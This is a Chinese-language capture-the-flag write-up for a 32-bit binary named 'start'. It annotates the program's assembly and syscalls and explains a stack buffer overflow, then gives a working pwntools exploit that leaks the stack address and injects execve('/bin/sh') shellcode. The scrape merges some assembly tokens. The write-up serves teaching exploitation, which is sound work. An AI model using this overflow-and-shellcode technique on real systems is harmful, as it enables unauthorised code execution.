1_start_32/需要与电脑沟通
一定要动态调试!!!
【1_start_32/需要与电脑沟通】发现了汇编的精妙之处(原来你的电脑之间沟通只差一个gdb
)
注:我们gdb-peda
的checksec
可能会出错(开启了NX
机制,谁让你往里面写shellcode
啊) ,要用pwntools
框架的checksec
检测一下。
文章图片
文章图片
start入口
.text:08048060 _startproc near
.text:08048060pushesp
.text:08048061pushoffset _exit//自己gdb调试得到这是 0804809D函数结束的地方,我们调用一个总要回到跳出函数
.text:08048066xoreax, eax//xor 进行异或处理将寄存器清空
.text:08048068xorebx, ebx
.text:0804806Axorecx, ecx
.text:0804806Cxoredx, edx
.text:0804806Epush3A465443h//压入我们的字符串
.text:08048073push20656874h
.text:08048078push20747261h
.text:0804807Dpush74732073h
.text:08048082push2774654Ch
.text:08048087movecx, esp;
write_addr//
.text:08048089movdl, 14h;
len//输入文本的长度
.text:0804808Bmovbl, 1;
fd//文件表示符1表示标准输出
.text:0804808Dmoval, 4//调用的是write
.text:0804808Fint80h;
LINUX - sys_write//调用程序int可以理解为我们的call指令
.text:08048091xorebx, ebx
.text:08048093movdl, 3Ch
.text:08048095moval, 3//调用read函数
.text:08048097int80h;
LINUX - read//我们补全为read
.text:08048099addesp, 14h//将调回栈的开的地方 存储offset _exit的地方
.text:0804809Cretn
.text:0804809C _startendp ;
sp-analysis failed
结束exit
.text:0804809D _exitproc near;
DATA XREF: _start+1?o
.text:0804809Dpopesp
.text:0804809Exoreax, eax
.text:080480A0inceax
.text:080480A1int80h;
LINUX - sys_exit
.text:080480A1 _exitendp ;
sp-analysis failed
.text:080480A1
.text:080480A1 _textends
.text:080480A1
.text:080480A1
.text:080480A1end _start
先了解 (linux syscall的资料在这里) 系统调用通过
int 80h
实现,执行时 eax
中为调用的功能号,ebx、ecx、edx
等以此为参数。系统调用号写在/usr/include/asm/unistd.h
中#define __NR_exit1
#define __NR_fork2
#define __NR_read3
#define __NR_write4
#define __NR_open5
又要做图理解了
文章图片
图片.png 结束的时候
文章图片
注:
有人问为什么'A'*20+write泄露的是esp的地址
程序一开会就先将我们的esp入栈,然后再结束的时候,ret指令被我们改为了write的地址,write的作用的打印出来栈内的数据
payload=任意20字节字符串+p32(调用sys_write的mov ecx, esp地址)
。
注:有人会问我为什么泄露出来了的是
esp
的位置(其实就是buf
开始的栈的地址),那payload
的时候'A'*20+esp_addr
(不就行了嘛,为什么要加20
呢)。我们在前面会发现存在(add esp ,0x14
),他的作用就是:输入完,我们要栈清空(跳回我们原来开始输入数据的地方,)(其实+20
是为了跳过add esp,0x14
的检测)我们跳过他的检测,我们shellcode
就可以随便写了,反正获得buf
的地址,后面就随便写啦注:我们为什么不可以直接将我们的
shellcode
,利用ret
返回地址,填写到一个我们可以执行的空间去呢,因为程序给我们的条件太少了,自己还没找到可以利用的可写的bss或者date段。文章图片
shellcode EXP
from pwn import *
p = process('./start')#context.log_level = 'debug'
#raw_input()
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
#gdb.attach(p)
write_addr = 0x08048087
payload1 = 'A'*20 + p32(write_addr)
p.send(payload1)
#gdb.attach(p)p.recvuntil("Let's start the CTF:")
esp = u32(p.recv(4))
#gdb.attach(p)
print "[+]esp_addr:" + hex(esp)
#gdb.attach(p)offset = 20
payload2 = 'a'*20+ p32(esp+offset)+ shellcode+ 'a'*100(栈的初始化地址暴露,我们就可以说获得栈的空间随便可以用了)(针对这道题而已)
p.send(payload2)
p.interactive()
#p.close()##感觉没撒实际效果,我们只要交互就ok了
推荐阅读
- 松软可口易消化,无需烤箱超简单,新手麻麻也能轻松成功~
- 让爱永驻心中
- 你觉得,写作需要情怀吗()
- 堕落不需要理由,只需要借口
- 越努力越幸福
- 新媒体时代,你需要掌握的必备技能
- 2018国考外交部面试演讲不再难——只需把握好三点
- 2020-12-18房爸爸逸娜分享
- 有一个人
- 战胜拖延症只需1小时(做到五个细节就够了。)